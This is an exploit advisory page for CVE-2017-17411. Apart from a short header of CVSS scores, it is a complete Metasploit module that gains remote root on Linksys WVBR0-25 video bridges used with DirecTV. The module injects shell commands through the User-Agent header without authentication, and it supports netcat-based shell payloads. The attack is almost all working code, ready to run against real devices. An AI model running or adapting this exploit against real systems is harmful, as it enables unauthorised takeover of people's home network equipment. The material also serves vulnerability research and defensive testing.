Linksys WVBR0-25 User-Agent Command Execution

2018.01.04
Credit: HeadlessZeke
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Linksys WVBR0-25 User-Agent Command Execution', 'Description' => %q{ The Linksys WVBR0-25 Wireless Video Bridge, used by DirecTV to connect wireless Genie cable boxes to the Genie DVR, is vulnerable to OS command injection in version < 1.0.41 of the web management portal via the User-Agent header. Authentication is not required to exploit this vulnerability. }, 'Author' => [ 'HeadlessZeke' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2017-17411'], ['ZDI', '17-973'], ['URL', 'https://www.thezdi.com/blog/2017/12/13/remote-root-in-directvs-wireless-video-bridge-a-tale-of-rage-and-despair'] ], 'DisclosureDate' => 'Dec 13 2017', 'Privileged' => true, 'Payload' => { 'DisableNops' => true, 'Space' => 1024, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic netcat' } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DefaultTarget' => 0 )) end def check check_str = rand_text_alpha(8) begin res = send_request_raw({ 'method' => 'GET', 'uri' => '/', 'agent' => "\"; printf \"#{check_str}" }) if res && res.code == 200 && res.body.to_s.include?(Rex::Text.md5(check_str)) return Exploit::CheckCode::Vulnerable end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end def exploit print_status("#{peer} - Trying to access the device ...") unless check == Exploit::CheckCode::Vulnerable fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device") end print_status("#{peer} - Exploiting...") if datastore['PAYLOAD'] == 'cmd/unix/generic' exploit_cmd else exploit_session end end def exploit_cmd beg_boundary = rand_text_alpha(8) begin res = send_request_raw({ 'method' => 'GET', 'uri' => '/', 'agent' => "\"; echo #{beg_boundary}; #{payload.encoded} #" }) if res && res.code == 200 && res.body.to_s =~ /#{beg_boundary}/ print_good("#{peer} - Command sent successfully") if res.body.to_s =~ /ret :.+?#{beg_boundary}(.*)/ # all output ends up on one line print_status("#{peer} - Command output: #{$1}") end else fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed") end rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end def exploit_session begin send_request_raw({ 'method' => 'GET', 'uri' => '/', 'agent' => "\"; #{payload.encoded} #" }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end end


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